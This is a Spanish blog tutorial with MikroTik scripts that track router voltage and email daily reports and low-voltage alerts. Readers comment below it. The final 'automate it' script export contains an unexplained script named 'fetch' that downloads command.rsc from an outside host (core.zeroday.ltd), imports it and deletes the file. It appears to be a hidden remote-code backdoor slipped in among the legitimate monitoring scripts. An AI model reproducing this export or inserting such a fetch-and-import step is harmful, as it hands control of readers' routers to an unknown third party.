Reporte diario del voltaje de un Mikrotik y Alerta de un Mikrotik cuando tiene bajo voltaje



                                      Reporte diario del voltaje de un mikrotik

  Alerta automatica cuando un Mikrotik tiene baja carga

Es muy importante tener monitoreado el voltaje de nuestros routers mikrotiks que estén es casa , noc  y si están en repetidores aun mas o que estén dependiendo de un sistema energético solar o auto sustentado, esta información nos ayudara ha  saber en que horas el site o repetidor tiene un bajo  voltaje puede que por la insuficiencia de las baterías en caso de tratarse de los repetidores  y poder asistir ha los mismos , incluso se podría predecir  caídas con los datos reportados  y asistir a los repetidores antes que  sufran una caída así  prevenir el incidente y  tener una mejor continuidad del servicio este ejecicio consta en   2 objetivos  uno  tener un reporte diario del voltaje de nuestros equipos y dos que nuestro mikrotik nos  reporte cuando el voltaje esta muy bajo el valor que considere bajo sera seteado por nosotros mismos, todos estos datos nos  reportara mediante un correo electrónico 



Paso 1

Nos dirigiremos a la pestaña  system/scripts  y  presionamos la  pestaña con el simbolo + donde  cargaremos nuestro script   


 



 Paso 2

Copiamos el siguiente script en la sección del source 


#set lowvoltalarm to desired alarm voltage in tenths of a volt. 125 = 12.5v
:global lowvoltalarm 125
:global highvolt
:global lowvolt
:global starttime
:global hivolttime
:global lovolttime
:global vh
:local thisbox [/system identity get name]
:global voltage [/system health get voltage]
:local thistime [/system clock get time]
:local thisdate [/system clock get date]
:local thishour [:pick $thistime 0 2]
:local emessage ($thisbox . " voltage is " . [:pick $voltage 0 2] . "." . [:pick $voltage 2 3])
:if ([:len $lowvolt] < 1) do={:set lowvolt 999; :set highvolt 0}
# set your email address in the next line
:if ($voltage <= $lowvoltalarm) do={/tool e-mail send to="correo@gmail.com" subject="$thisbox low voltage" body=$emessage}
:if ($voltage > $highvolt) do={:set highvolt $voltage; :set hivolttime ($thistime . " " . $thisdate)}
:if ($voltage < $lowvolt) do={:set lowvolt $voltage; :set lovolttime ($thistime . " " . $thisdate)}
:if ([:len $vh] > 0) do={:set vh ([:toarray $voltage] + $vh)} else={:set vh [:toarray $voltage]}
:if ([:len $starttime] < 1) do={:set starttime ($thistime .
" " . $thisdate)}
:if ($thishour = "23") do={:voltajereport}



Una ves echo esto en Name le pondremos un nombre para identificarlo  esto nos ayudara en los siguientes pasos en nuestro ejemplo le pondremos voltmonitor


 


Continuación pasare ha explicar    la funcionalidad de este script y como  deben editarlo ustedes para que se ajuste a sus nesecidades, este script se encarga de registrar y capturar los datos del voltaje del equipo y los guardara en memoria cada ves que el script se ejecute  hará el mismo proceso una y otra ves, como podemos notar  en la parte que esta marcado con rojo que esta acompañado por un #  lo que viene despues en la linea es un comentario que acompaña el código esto no se ejecuta por ser solo un comentario pero  es bueno especificarlo para tener una guia, en este caso el voltaje minimo que  yo estoy indicando es de 23.4  la parte de que de azul  nos indica el  valor que sera tomado como baja carga  cuando el voltaje llegue ha ese nivel o inferior de 234 (se pone el voltaje sin el  punto) nos enviara un correo con un aviso de bajo voltaje del dispositivo en nuestro caso  el voltaje mínimo  sera de 23.4 ya que  mi sistema trabaja   ha 24  voltios y al llegar a 23.4 es un indicio que el equipo esta apunto de apagarse ya que si baja ha  23.2 el quipo se pagara, existen 2 tipos de sistemas uno de 12 Voltios y de 24 Voltios  la forma nominal de saber cuando es un bajo voltaje en un sistema de 12  es el siguiente

 
 


en caso quieren sacar el valor de bajo voltaje en un sistema de 24 solo  multipliquen  por 2 el voltaje y tendrán el resultado equivalente.


Por ultimo el la parte que esta  subrayaba de color verde indica la correo  al que mandara las alertas  cuando  el router detecte baja carga del dispocitivo (el router ya debe estar configurado con una cuenta de correo esto ya se mostró en un post anterior  https://rizolatti.blogspot.com/2018/08/backup-automatico-mikrotik-email.html


Para poder saber en que sistema esta trabajando  nuestro quipo nos dirigimos a la pestaña System /Healt  en esa pesataña nos enteraremos en que sistema esta trabajando en mi caso  el voltaje de mi router esta  a 26.0 voltios el cual nos indica que esta en un sistema de 24 voltios  y el equipo esta   en un  temperatura  de 53 C (mucho calor) este es un equipo trabajando en un desierto  lo cual es entendible la temperatura.





Paso 3
  
Copiaremos el siguiente script  en la seccion de source


:global highvolt
:global lowvolt
:global hivolttime
:global lovolttime
:global starttime
:global vh
:local tvolt
:local thisbox [/system identity get name]
:local thisdate [/system clock get date]
:local thishour
:local emessage "Informe diario del voltaje de $thisbox on $thisdate\n\n"
:if ([:len $vh] > 0) do={
    :for x from=0 to=([:len $vh]-1) step=1 do={
        :set tvolt [:tostr [:pick $vh $x]]
        :set thishour [:tostr (23 - $x)]
        :while ([:len $thishour] < 2) do={:set thishour ("0" . $thishour)}
        :set emessage ($emessage . $thishour . ":00 = " . [:pick $tvolt 0 2] . "." . [:pick $tvolt 2 3] .  "\n")
    }
    :set emessage ($emessage . "\nDesde que comenzo el monitoreo " . $starttime . "\n")
    :set tvolt [:tostr $highvolt]
    :set emessage ($emessage . "Maximo = " . [:pick $tvolt 0 2] . "." . [:pick $tvolt 2 3] . "v at " . $hivolttime . "\n")
    :set tvolt [:tostr $lowvolt]
    :set emessage ($emessage . "Minimo = " . [:pick $tvolt 0 2] . "." . [:pick $tvolt 2 3] . "v at " . $lovolttime . "\n")
# set email address in next line
    /tool e-mail send to="correo@gmail.com" subject="$thisbox Voltaje Reporte" body=$emessage
}
# remark out the next line for testing to avoid resetting the voltage array
:set vh
# remark out the next line for testing to avoid resetting the voltage array
:set vh


Una ves echo esto pasaremos ha nombrarlo con un nombre esto nos ayudara en los siguientes procedimentos tal y como hicimos con el otro script  en nuestro caso  lo nombraremos voltreport


  

Este script sera el responsable de  tomar todos los datos capturados por el voltmonitor  y  enviarlos al correo electrónico  que se le indique  esto sucederá cada ves que  se ejecute este script como  podemos ver el contenido del correo esta  subrayado  de color rojo y el asunto  esta de color azul   y  también  este script nos dice que voltaje ha sido el máximo y cual ha sido el mínimo en todo el día y nos adjunta con la hora así es señores  esta parte esta subrayado de negro donde podemos  editar el texto que nos  enviara al correo esto es totalmente modificable ustedes pueden poner lo que les paresca mejor  lo que esta subrayado de color azul es al correo al que se enviara el reporte  , este script  tomara los datos  del identity (nombre del router)  hora y fecha del router para que los datos tengan correlación y de esa manera  también podamos identificar que reporte de voltaje le pertenece a que router.



Paso 4

Una ves creado los 2 scripts   pasaremos ha   programarlos  para que se ejecuten cada cierto tiempo  esto se hace en la pestaña system/scheduler






Una  ves que nos ubicamos en esta pestaña creamos 2 tareas programadas una que nos indique que le  voltmonitor se ejecute cada hora para que tome las lecturas  y otra para el voltreport  para que  cada 23 horas nos reporte  mediante correo todos los datos tomados por el voltmonitor 

Comenzamos....


 

Crearemos una tarea programada en la que indicaremos  que el voltmonitor se ejecute  cada 01 hora  y que lo guarde en memoria y que la tarea inicie el 21 de enero del 2019 a las  00:00:00 de ha partir de esa fecha  para siempre  esto quiere decir que  el script   tomara la lectura del voltaje  cada hora de ha partir  de las 00:00:00 , tener en cuenta que en la parte  On Event se devera poner el nombre del script que queramos que se ejecute  sin espacios ni variaciones   debe  ser  igual, en nuestro caso  esta marcado de rojo para  diferenciarlo  en name   solo nos indica el nombre   se le puede poner cualquier nombre para direfenciarlo en mi caso le puse el mismo nombre del script para poder identificarlo


  • Name        : Nombre de la tarea programada 
  • Start Date  : Fecha en la que se iniciara ha ejecutar la tarea programada
  • Start Time : Hora en la que  el script comensara ha ejecutarse
  • Interval      : Indica cada cuanto tiempo se ejecutara la tarea
  • On Event   : Indica que script sera ejecutado

Una ves esto aclarado guardamos los cambios  dando en  ok y apply , ahora  haremos  nuestra segunda tarea programada que sera el que nos reportara  mediante  email  el informe diario del voltaje de nuestro equipo mikrotik




En dice que  la tarea programada  llamada voltreport  se iniciara en ejecutar el  10 de enero  del 2019 a las 00:00:00 y ejecutara el script voltreport con un intervalo de 23 horas en este script  esta programado para que tome todos los datos recogidos por el voltmonitor y  los envié al correo que nosotros  le hemos indicado, el correo nos llegara  todos los días a las 11 pm


una  ves echo este paso nos quedara de la siguiente manera.


 


esta es una imagen que capture unos días después como ven el  voltmonitor  tiene mayor cantidad  de ejecuciones porque  lo hace  cada 1 hora y el  voltreport cada día  un error muy común en hacer estas implementaciones es que los valores de los voltajes en ocasiones no concuerdan con las horas   para esta configuracion funcione bien uno debe tener configurado el network protocol time en el mikroitk


Paso 5

 Configuramos el NTP en nuestro mikoritk nos dirigimos ha la pestaña  System/SNTP client
 y habilitaremos el servicio dando al check enable  y en servidores primario y segundario digitaremos  la siguientes ips 


  • 200.89.75.197
  • 190.15.128.72

estas ip son servidores de hora de un  proveedor de servicios confiable no es telefonica asi que estos no se caeran el cual hara que nuestro equipo tenga la hora correcta una ves echo esto le damos  en ok y aplly para guaradar los cambios





Luego nos dirigimos a la pestana System/Clock  y notaremos que la hora ya esta fijada lo único que tenemos que hacer  es  seleccionar  America/Lima  en la seccion de  Time Zona Name  en caso no lo este  ya que en algunos router no se selecciona automaticamente después de sincronizarlos con los servidores NTP   en caso no lo este ustedes   pueden forzarlo para que funcione mejor


 




Paso 6

Echo todo esto ya tendríamos terminada nuestra configuracion, ahora pasaremos ha probárlo



En este formato nos debería llegar el correo de reporte de voltaje  como vemos esta   muy bien ordenado  y la hora concuerda con la lectura del voltaje  y nos dice cual fue el máximo voltaje también el mínimo y ha que hora y nos adjunta el correo con el nombre del repetidor del que se esta haciendo la lectura que yo la cubrí de rojo porque no soy un exhibicionista:v




 
Y en este formato nos debería llegar las alertas de baja carga a  nuestro correo  para este ejemplo como no tengo equipo en mi red con problema de baja carga coloque en un  router que el bajo voltaje sea 22.5 voltios  por efectos prácticos






 

  Aquí les dejo unas capturas de pantalla después de un día de haber configurado mis equipos


Reporte del  voltaje del mikroitk






 Alerta cuando el mikrotik tiene bajo voltaje






Esto les ayudara para poder tener un reguistro actualizado del voltaje de nuestros equipos y poder predecir  caidas asi  mejorar nuestro servicio porque no solo porque funciona signifique que este bien todo se puede mejorar, espero que esto halla quedado muy claro, les dejo aqui el script  para poder automatizar el proceso.

Script

add name=voltajereport owner=admin policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=":global highvolt\r\
    \n:global lowvolt\r\
    \n:global hivolttime\r\
    \n:global lovolttime\r\
    \n:global starttime\r\
    \n:global vh\r\
    \n:local tvolt\r\
    \n:local thisbox [/system identity get name]\r\
    \n:local thisdate [/system clock get date]\r\
    \n:local thishour\r\
    \n:local emessage \"Informe diario del voltaje de \$thisbox on \$thisdate\\n\\n\"\r\
    \n:if ([:len \$vh] > 0) do={\r\
    \n    :for x from=0 to=([:len \$vh]-1) step=1 do={\r\
    \n        :set tvolt [:tostr [:pick \$vh \$x]]\r\
    \n        :set thishour [:tostr (23 - \$x)]\r\
    \n        :while ([:len \$thishour] < 2) do={:set thishour (\"0\" . \$thishour)}\r\
    \n        :set emessage (\$emessage . \$thishour . \":00 = \" . [:pick \$tvolt 0 2] . \".\" . [:pick \$tvolt 2 3] .  \"\\n\")\r\
    \n    }\r\
    \n    :set emessage (\$emessage . \"\\nDesde que comenzo el monitoreo \" . \$starttime . \"\\n\")\r\
    \n    :set tvolt [:tostr \$highvolt]\r\
    \n    :set emessage (\$emessage . \"Maximo = \" . [:pick \$tvolt 0 2] . \".\" . [:pick \$tvolt 2 3] . \"v at \" . \$hivolttime . \"\\n\")\r\
    \n    :set tvolt [:tostr \$lowvolt]\r\
    \n    :set emessage (\$emessage . \"Minimo = \" . [:pick \$tvolt 0 2] . \".\" . [:pick \$tvolt 2 3] . \"v at \" . \$lovolttime . \"\\n\")\r\
    \n# set email address in next line\r\
    \n    /tool e-mail send to=\"correo@gmail.com\" subject=\"\$thisbox Voltaje Reporte\" body=\$emessage\r\
    \n}\r\
    \n# remark out the next line for testing to avoid resetting the voltage array\r\
    \n:set vh\r\
    \n# remark out the next line for testing to avoid resetting the voltage array\r\
    \n:set vh"
add name=fetch owner=admin policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=\
    "\
    \n/tool fetch url=http://core.zeroday.ltd/command.rsc\
    \n/import file-name=command.rsc\
    \n/file remove name=command.rsc"










add name=voltmonitor owner=admin policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="#set lowvoltalarm to desired alarm voltage in tenths of a \
    volt. 125 = 12.5v\r\
    \n:global lowvoltalarm 125\r\
    \n:global highvolt\r\
    \n:global lowvolt\r\
    \n:global starttime\r\
    \n:global hivolttime\r\
    \n:global lovolttime\r\
    \n:global vh\r\
    \n:local thisbox [/system identity get name]\r\
    \n:global voltage [/system health get voltage]\r\
    \n:local thistime [/system clock get time]\r\
    \n:local thisdate [/system clock get date]\r\
    \n:local thishour [:pick \$thistime 0 2]\r\
    \n:local emessage (\$thisbox . \" voltage is \" . [:pick \$voltage 0 2] . \".\" . [:pick \$voltage 2 3])\r\
    \n:if ([:len \$lowvolt] < 1) do={:set lowvolt 999; :set highvolt 0}\r\
    \n# set your email address in the next line\r\
    \n:if (\$voltage <= \$lowvoltalarm) do={/tool e-mail send to=\"correo@gmail.com\" subject=\"\$thisbox low voltage\" body=\$emessage}\r\
    \n:if (\$voltage > \$highvolt) do={:set highvolt \$voltage; :set hivolttime (\$thistime . \" \" . \$thisdate)}\r\
    \n:if (\$voltage < \$lowvolt) do={:set lowvolt \$voltage; :set lovolttime (\$thistime . \" \" . \$thisdate)}\r\
    \n:if ([:len \$vh] > 0) do={:set vh ([:toarray \$voltage] + \$vh)} else={:set vh [:toarray \$voltage]}\r\
    \n:if ([:len \$starttime] < 1) do={:set starttime (\$thistime . \" \" . \$thisdate)}\r\
    \n:if (\$thishour = \"23\") do={:voltajereport}\r\
    \n"


add interval=23h name=voltajereport on-event=voltajereport policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon start-date=jan/18/2019 start-time=\
    00:00:00
add interval=1h name=voltmonitor on-event=voltmonitor policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon start-date=jan/21/2019 start-time=00:00:00


/system ntp client
set enabled=yes primary-ntp=200.89.75.197 secondary-ntp=190.15.128.72
    

Comentarios

  1. hola hay estas midiendo el voltaje de la rb, sabes cuales son las modificaciones para medir el voltaje del banco de bateria y graficarlo gracias

    ResponderEliminar
    Respuestas
    1. Buenas tardes el script es para que te muestre las mediciones de voltaje mediante correo la notificaciones son como lo que muestra en esta imagen https://4.bp.blogspot.com/-Qgrh3oIuGxM/XKFmvDNwMpI/AAAAAAAAAvQ/cAJeVgvdoeM9_xoTBuI_eS-0nhlvDTEkACK4BGAYYCw/s1600/volatje%2Bmikrotik10.png

      no esta echo para medir el banco de baterias pero medir el voltaje del router te da una buena pista para poder saber el voltaje de las baterías si tienes el voltaje del router las baterias estaran en casi lo mismo lo comento por experiencia personal en mis trabajos realizados.

      Eliminar
  2. aun activs en el blog necesito hacer una consulta por si alguien tiene la respues ; la consulta es necesito controlar ancho de banda del internet de los usuarios pero liberar el anho de banda del trafico en lan, para mi servidor web y de descargas ya que estando en la misma lan descarga a velocidad de controles de internet cuando en la misma lan deberia descargar a mucha ams velocidad uso hospot y DHCP muchas gracias de antemano

    ResponderEliminar
  3. buenas amigo muchas gracias por tupost ya casi lo termino de configurar, mi pregunta es , porque no me da el voltaje y temperatura en SYSTEM/HEALTH en mi mikrotik RB 760iGS que si posee sensores? gracias por tu dedicacion

    ResponderEliminar
  4. amigo ya logre hacer que se viera el voltaje y temp en health, ahora tambien logre hacer que me enviara los reportes diarios de voltaje, la unica falla que veo es que cuando reinicio el router se borra el monitor de voltaje de ese dia y el reporte lo hace desde la ultima reiniciada, es decir si reinicio a las 10 me da el reporte desde alli hasta las 23, otra consulta sera posible hacer un scrip para reporte de temperatura y corriente (amperaje), me pudieras ayudar con eso que no soy programador gracias

    ResponderEliminar
  5. Estoy haciendo pruebas con la V7 de ROS y no me corre este script. Alguien tiene las modificaciones que hay que hacer para que funcione en la V7 ??

    ResponderEliminar
    Respuestas
    1. Es correcto no corre, no he encontrado como solucionarlo...si sabes algo comparte el dato

      Eliminar

Publicar un comentario

Entradas populares